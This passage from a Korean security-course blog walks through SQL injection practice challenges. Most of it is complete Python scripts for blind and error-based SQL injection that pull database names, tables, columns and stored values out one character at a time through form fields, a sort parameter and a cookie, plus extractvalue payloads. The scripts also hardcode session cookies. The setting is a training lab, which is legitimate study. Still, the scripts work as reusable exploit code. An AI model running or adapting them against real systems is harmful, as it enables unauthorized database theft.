    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("tbody")[0]
    # print(info)
  
    children = info.find("tr", recursive=False)

    # print(res.text)
    if not children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):
        payload['sort'] = "case when ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+") then 1 else (select 1 union select 2) end"

        res = post_request_with_retry(url, payload, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):
            payload['sort'] = "case when (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"

            res = post_request_with_retry(url, payload, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):
        payload['sort'] = "case when (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+") then 1 else (select 1 union select 2) end"

        res = post_request_with_retry(url, payload, headers, max_retries, cookie)
        # print(payload["id"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("tbody")[0]
        # print(info)
    
        children = info.find("tr", recursive=False)

        # print(res.text)
        if not children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt+1):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):
            
            payload['sort'] = "case when ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+") then 1 else (select 1 union select 2) end"

            res = post_request_with_retry(url, payload, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):
                
                payload['sort'] = "case when (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+") then 1 else (select 1 union select 2) end"


                res = post_request_with_retry(url, payload, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("tbody")[0]
                # print(info)
            
                children = info.find("tr", recursive=False)

                # print(res.text)
                if not children:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            payload['sort'] = "case when (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+") then 1 else (select 1 union select 2) end"

            res = post_request_with_retry(url, payload, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            parsed_html = BeautifulSoup(res.text, "html.parser")
            info = parsed_html.find_all("tbody")[0]
            # print(info)
        
            children = info.find("tr", recursive=False)

            # print(res.text)
            if not children:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                payload['sort'] = "case when ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+") then 1 else (select 1 union select 2) end"


                res = post_request_with_retry(url, payload, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                parsed_html = BeautifulSoup(res.text, "html.parser")
                info = parsed_html.find_all("tbody")[0]
                # print(info)
            
                children = info.find("tr", recursive=False)

                # print(res.text)
                if not children:
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    payload['sort'] = "case when (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+") then 1 else (select 1 union select 2) end"


                    res = post_request_with_retry(url, payload, headers, max_retries, cookie)
                    # print(payload["id"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    parsed_html = BeautifulSoup(res.text, "html.parser")
                    info = parsed_html.find_all("tbody")[0]
                    # print(info)
                
                    children = info.find("tr", recursive=False)

                    # print(res.text)
                    if not children:
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

참/거짓에 따라 html 구조가 다르다는 점을 이용하였다.

위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.

 

 

2.4 SQL Injection Point 4

마지막 문제는 DB 에러에 관한 문제이다.

마이페이지에서 확인할 수 있었다.

 

마이페이지 접근 시 쿠키를 사용하고 있었고, 제대로 된 값이면 제대로 된 화면이 나온다.

aaa' 처럼 잘못된 값을 넣으면 DB Error 를 표시한다.

 

이를 SQL Injection으로 사용하였다

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, headers, max_retries, cookie, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.get(url, headers=headers, cookies=cookie)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, headers, max_retries, cookie, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None


url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

cookie={
    "session": "44140154-2ce3-46fb-b668-167e2fd0653f.EbVMaCBfnvNBzmSco1q9IcKuzaE",
    "PHPSESSID": "ih4jv45k8hturn890qbtj1djd4"
}


timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
  
    cookie["user"] = "aaa' and (select 1 union select 2 where (select length(database()) = " + \
        str(db_length_idx) + ")) and '1'='1"
    # print(cookie["user"])
    res = post_request_with_retry(url, headers, max_retries, cookie)
    
    time.sleep(0.001)

    # print(res.text)
    # print(res.history)
    # print(res.headers)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if res.headers['Content-Length'] != '12':
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")
# exit(0)

for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        cookie["user"] = "aaa' and (select 1 union select 2 where (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+")) and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if res.headers['Content-Length'] != '12':
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):

    cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+")) and '1'='1"
    res = post_request_with_retry(url, headers, max_retries, cookie)
    # print(payload["id"])
    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if res.headers['Content-Length'] != '12':
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):

        cookie["user"] = "aaa' and (select 1 union select 2 where ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+")) and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if res.headers['Content-Length'] != '12':
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):

            cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+")) and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if res.headers['Content-Length'] != '12':
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):

        cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+")) and '1'='1"
        res = post_request_with_retry(url, headers, max_retries, cookie)
        # print(payload["id"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if res.headers['Content-Length'] != '12':
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):

            cookie["user"] = "aaa' and (select 1 union select 2 where ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+")) and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if res.headers['Content-Length'] != '12':
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):

                cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
                    db_name+"' and table_name='"+table_name+"' limit " + \
                    str(column_cnt_idx2)+",1), "+str(column_length_idx2) + \
                    ",1)) = "+str(j)+")) and '1'='1"
                res = post_request_with_retry(url, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                if res.headers['Content-Length'] != '12':
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    column_name += chr(j)

        print(f"       - column name: {column_name}")

        data_cnt = 0
        for data_cnt_idx in range(0, 20):
            cookie["user"] = "aaa' and (select 1 union select 2 where (select (select count("+column_name + \
                ") from "+db_name+"."+table_name+") = " + \
                str(data_cnt_idx)+")) and '1'='1"
            res = post_request_with_retry(url, headers, max_retries, cookie)
            # print(payload["id"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if res.headers['Content-Length'] != '12':
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                data_cnt = data_cnt_idx

        print(f"        - data all count: {data_cnt}")

        for data_cnt_idx2 in range(0, data_cnt):
            print(f"         - data cnt[{data_cnt_idx2}]")
            data_length = 0
            for data_length_idx in range(0, 50):
                cookie["user"] = "aaa' and (select 1 union select 2 where ((select length("+column_name + \
                    ") from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1) = " + \
                    str(data_length_idx)+")) and '1'='1"
                res = post_request_with_retry(url, headers, max_retries, cookie)
                # print(payload["id"])
                time.sleep(0.001)

                # children이 있으면 존재하지 않는 아이디(거짓)
                if res.headers['Content-Length'] != '12':
                    # print(children.text)
                    pass
                # 없으면 존재하는 아이디(참)
                else:
                    # print(info.text)
                    data_length = data_length_idx

            print(f"         - data length: {data_length}")

            data_name = ""
            for data_length_idx2 in range(0, data_length+1):
                for j in range(32, 127):
                    cookie["user"] = "aaa' and (select 1 union select 2 where (select ascii(substr((select "+column_name + \
                        " from "+db_name+"."+table_name+" limit "+str(data_cnt_idx2)+", 1), " + \
                        str(data_length_idx2)+", 1)) = "+str(j)+")) and '1'='1"
                    res = post_request_with_retry(url, headers, max_retries, cookie)
                    # print(payload["id"])
                    time.sleep(0.001)

                    # children이 있으면 존재하지 않는 아이디(거짓)
                    if res.headers['Content-Length'] != '12':
                        # print(children.text)
                        pass
                    # 없으면 존재하는 아이디(참)
                    else:
                        # print(info.text)
                        data_name += chr(j)

            print(f"          - data name: {data_name}")

참/거짓 여부에 따라 Content-Length가 다르다는 점을 이용하였다.

위의 코드를 이용해 DB에서 flag를 찾을 수 있었다.

반응형

댓글()

21. [7주차]-1 SQL Injection 데이터 추출 공격

* 과제
1. Error Based SQLi 정리
2. Blind SQLi 정리
3. SQL Injection 데이터 추출 문제 풀기


1. Error Based SQLi 정리 & 2. Blind SQLi 정리

https://ssjune.tistory.com/131

 

17. [5주차]-1 SQL 인젝션 이해

* 과제1. 오늘 수업 복습2. 인증 우회 실습 문제 풀기 영어한국어일본어중국어 (간체)중국어 (번체)베트남어인도네시아어태국어독일어러시아어스페인어이탈리아어프강스어복사하기 이

ssjune.tistory.com

에 정리하였다.

 

 

3. SQL Injection 데이터 추출 문제 풀기

 

SQL Injection 을 이용한 데이터 추출 문제로 위에 두 개는 Blind SQLi와 Error Based SQLi를 체험하기 위한 연습용 문제라고 볼 수 있고 아래 4개는 실제 SQLi를 이용해 데이터 추출을 통해 flag를 얻어야 하는 문제이다.

 

3.1 SQL Injection (Blind Practice)

ID를 입력하는 화면이 제공된다.

 

존재하는 아이디/존재하지 않는 아이디로 참/거짓을 알 수 있다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time

url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

payload = {
    'query': ''
}

db_length = 0



# db_name="blindSqli"
# table_name = "flagTable"
# column_name = "idx"

db_name=""
table_name = ""
column_name = ""

table_cnt_index=0
column_cnt_index=1

# DB 길이 찾기
for i in range(0, 11):
    payload['query'] = "normaltic' and (select length(database()) = " + \
        str(i) + ") and '1'='1"
    res = requests.post(url, data=payload)
    # print(res.headers['Content-Length'])
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="challenge-result")[0]
    children = info.find("p", recursive=False)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = i

print(f"db length: {db_length}")


for i in range(0, db_length+1):
    for j in range(32, 127):
        payload['query'] = "normaltic' and (ascii(substr((select database()),"+str(
            i)+",1)) = "+str(j)+") and '1'='1"
        res = requests.post(url, data=payload)
        # print(payload["query"])
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("div", class_="challenge-result")[0]
        children = info.find("p", recursive=False)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for i in range(0, 11):
    payload['query'] = "normaltic' and (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(i)+") and '1'='1"
    res = requests.post(url, data=payload)
    # print(payload["query"])
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="challenge-result")[0]
    children = info.find("p", recursive=False)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = i

print(f"table count: {table_cnt}")

table_length = ""

for i in range(0, 11):
    payload['query'] = "normaltic' and ((select length(table_name) from information_schema.tables where table_schema='" + \
        db_name+"' limit "+str(table_cnt_index)+",1) = "+str(i)+") and '1'='1"
    res = requests.post(url, data=payload)
    # print(payload["query"])
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="challenge-result")[0]
    children = info.find("p", recursive=False)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_length = i

print(f"table length: {table_length}")


for i in range(0, table_length+1):
    for j in range(32, 127):
        payload['query'] = "normaltic' and (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_index)+",1), "+str(i)+",1)) = "+str(j)+") and '1'='1"
        res = requests.post(url, data=payload)
        # print(payload["query"])
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("div", class_="challenge-result")[0]
        children = info.find("p", recursive=False)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_name += chr(j)

print(f"table name: {table_name}")


column_cnt = ""
for i in range(0, 11):
    payload['query'] = "normaltic' and (select (select count(column_name) from information_schema.columns where table_name='" + \
        table_name+"' and table_schema='"+db_name+"') = "+str(i)+") and '1'='1"
    res = requests.post(url, data=payload)
    # print(payload["query"])
    # print(res.text)
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="challenge-result")[0]
    children = info.find("p", recursive=False)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        column_cnt = i

print(f"column count: {column_cnt}")

column_length = ""
for i in range(0, 11):
    payload['query'] = "normaltic' and ((select length(column_name) from information_schema.columns where table_name='" + \
        table_name+"' and table_schema='"+db_name+"' limit "+str(column_cnt_index)+",1) = "+str(i)+") and '1'='1"
    res = requests.post(url, data=payload)
    # print(payload["query"])
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="challenge-result")[0]
    children = info.find("p", recursive=False)
    time.sleep(0.001)
        
    # children이 있으면 존재하지 않는 아이디(거짓)
    if children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        column_length = i

print(f"column length: {column_length}")


for i in range(0, column_length+1):
    for j in range(32, 127):
        payload['query'] = "normaltic' and (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
            db_name+"' and table_name='"+table_name+"' limit "+str(column_cnt_index)+",1), "+str(i)+",1)) = "+str(j)+") and '1'='1"
        res = requests.post(url, data=payload)
        # print(payload["query"])
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("div", class_="challenge-result")[0]
        children = info.find("p", recursive=False)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_name += chr(j)

print(f"column name: {column_name}")

data_length=""
for i in range(0, 50):
    payload['query'] = "normaltic' and ((select length("+column_name+") from "+db_name+"."+table_name+") = "+str(i)+") and '1'='1"
    res = requests.post(url, data=payload)
    # print(payload["query"])
    parsed_html = BeautifulSoup(res.text, "html.parser")
    info = parsed_html.find_all("div", class_="challenge-result")[0]
    children = info.find("p", recursive=False)
    time.sleep(0.001)
        
    # children이 있으면 존재하지 않는 아이디(거짓)
    if children:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        data_length = i

print(f"data length: {data_length}")


data_name=""
for i in range(0, data_length+1):
    for j in range(32, 127):
        payload["query"] = "normaltic' and (select ascii(substr((select "+column_name+" from "+db_name+"."+table_name+"), "+str(i)+", 1)) = "+str(j)+") and '1'='1"
        res = requests.post(url, data=payload)
        # print(payload["query"])
        parsed_html = BeautifulSoup(res.text, "html.parser")
        info = parsed_html.find_all("div", class_="challenge-result")[0]
        children = info.find("p", recursive=False)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if children:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            data_name += chr(j)

print(f"data name: {data_name}")

위와 같이 파이썬 코드를 만들어서 돌렸고, flag를 얻을 수 있었다.

 

 

3.2 SQL Injection (Error Based SQLi Basic)

 

Error Based SQLi를 이용할 수 있는 페이지이다.

 

1. DB 이름 출력

normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1

 

concat을 통해 DB이름에 ":"을 붙여서 에러를 발생시켜서 에러 메시지를 통해 DB명을 알아낸다.

 

2. 테이블 이름

normaltic' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='errSqli' limit 0,1))) and '1'='1

 

같은 방법을 통해 테이블 이름을 알아낸다.

 

3. 컬럼 이름

normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flagTable' limit 0,1))) and '1'='1

 

컬럼 이름을 알아낸다.

 

4. 데이터 추출

normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable limit 0,1))) and '1'='1

 

마지막으로 데이터를 알아내서 flag를 얻을 수 있었다.

 

3.3 SQL Injection 3

 

로그인 화면이 주어졌고 flag를 얻어야 하는 상황이다.

normaltic' and '1'='1

normaltic' and '1'='2

를 통해 로그인 여부와 에러 여부를 확인하고 Error Based SQLi를 사용하였다.

 

더보기
import requests
from user_agent import generate_user_agent, generate_navigator
from bs4 import BeautifulSoup
import time


def post_request_with_retry(url, data, headers, max_retries, attempt=1):
    try:
        # response = requests.post(url, data=data, timeout=timeout_seconds)
        response = requests.post(url, data=data, headers=headers)
        response.raise_for_status()  # HTTP 에러가 발생하면 예외를 일으킴
        # print('응답 받음:', response.json())
        return response
    except TimeoutError:
        print(f'타임아웃 발생 (시도 {attempt}/{max_retries})')
    except requests.exceptions.RequestException as e:
        print(f'요청 실패: {e}')

    if attempt < max_retries:
        return post_request_with_retry(url, payload, headers, max_retries, attempt+1)
    else:
        print('최대 재시도 횟수 도달. 요청을 중단합니다.')
        return None


url = ''


headers = {
    'User-Agent': generate_user_agent(os='win', device_type='desktop')
}

payload = {
    'UserId': '',
    'Password': '1234',
    'Submit': 'Login'
}


timeout_seconds = None
max_retries = 5

db_name = ""
table_name = ""
column_name = ""

table_length_max = 50
column_length_max = 50


# DB 길이 찾기
db_length = 0
for db_length_idx in range(0, 20):
    payload['UserId'] = "normaltic' and (select length(database()) = " + \
        str(db_length_idx) + ") and '1'='1"
    res = post_request_with_retry(url, payload, headers, max_retries)
    # print(payload)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    # print(res.text)
    # print(res.history)
    if not res.history:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        db_length = db_length_idx

print(f"db length: {db_length}")


for db_length_idx2 in range(0, db_length+1):
    for j in range(32, 127):
        payload['UserId'] = "normaltic' and (ascii(substr((select database()),"+str(
            db_length_idx2)+",1)) = "+str(j)+") and '1'='1"
        res = post_request_with_retry(url, payload, headers, max_retries)
        # print(payload["UserId"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if not res.history:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            db_name += chr(j)

print(f"db name: {db_name}")

table_cnt = ""
for table_cnt_idx in range(0, 20):
    payload['UserId'] = "normaltic' and (select (select count(table_name) from information_schema.tables where table_schema='" + \
        db_name+"') = "+str(table_cnt_idx)+") and '1'='1"
    res = post_request_with_retry(url, payload, headers, max_retries)
    # print(payload["UserId"])
    # print(res.text)
    time.sleep(0.001)

    # children이 있으면 존재하지 않는 아이디(거짓)
    if not res.history:
        # print(children.text)
        pass
    # 없으면 존재하는 아이디(참)
    else:
        # print(info.text)
        table_cnt = table_cnt_idx

print(f"table all count: {table_cnt}")


for table_cnt_idx2 in range(0, table_cnt+1):
    print(f" - table cnt[{table_cnt_idx2}]")
    table_length = 0
    for table_length_idx in range(0, table_length_max):
        payload['UserId'] = "normaltic' and ((select length(table_name) from information_schema.tables where table_schema='" + \
            db_name+"' limit "+str(table_cnt_idx2) + \
            ",1) = "+str(table_length_idx)+") and '1'='1"
        res = post_request_with_retry(url, payload, headers, max_retries)
        # print(payload["UserId"])
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if not res.history:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            table_length = table_length_idx

    print(f"  - table length: {table_length}")

    table_name = ""
    for table_length_idx2 in range(0, table_length+1):
        for j in range(32, 127):
            payload['UserId'] = "normaltic' and (select ascii(substr((select table_name from information_schema.tables where table_schema='" + \
                db_name+"' limit "+str(table_cnt_idx2)+",1), "+str(
                    table_length_idx2)+",1)) = "+str(j)+") and '1'='1"
            res = post_request_with_retry(url, payload, headers, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if not res.history:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                table_name += chr(j)

    print(f"   - table name: {table_name}")

    column_cnt = ""
    for column_cnt_idx in range(0, 20):
        payload['UserId'] = "normaltic' and (select (select count(column_name) from information_schema.columns where table_name='" + \
            table_name+"' and table_schema='" + \
            db_name+"') = "+str(column_cnt_idx)+") and '1'='1"
        res = post_request_with_retry(url, payload, headers, max_retries)
        # print(payload["UserId"])
        # print(res.text)
        time.sleep(0.001)

        # children이 있으면 존재하지 않는 아이디(거짓)
        if not res.history:
            # print(children.text)
            pass
        # 없으면 존재하는 아이디(참)
        else:
            # print(info.text)
            column_cnt = column_cnt_idx

    print(f"   - column all count: {column_cnt}")

    for column_cnt_idx2 in range(0, column_cnt+1):
        print(f"     - column cnt[{column_cnt_idx2}]")
        column_length = 0
        for column_length_idx in range(0, column_length_max):
            payload['UserId'] = "normaltic' and ((select length(column_name) from information_schema.columns where table_name='" + \
                table_name+"' and table_schema='"+db_name+"' limit " + \
                str(column_cnt_idx2)+",1) = " + \
                str(column_length_idx)+") and '1'='1"
            res = post_request_with_retry(url, payload, headers, max_retries)
            # print(payload["UserId"])
            time.sleep(0.001)

            # children이 있으면 존재하지 않는 아이디(거짓)
            if not res.history:
                # print(children.text)
                pass
            # 없으면 존재하는 아이디(참)
            else:
                # print(info.text)
                column_length = column_length_idx

        print(f"      - column length: {column_length}")

        column_name = ""
        for column_length_idx2 in range(0, column_length+1):
            for j in range(32, 127):
                payload['UserId'] = "normaltic' and (select ascii(substr((select column_name from information_schema.columns where table_schema='" + \
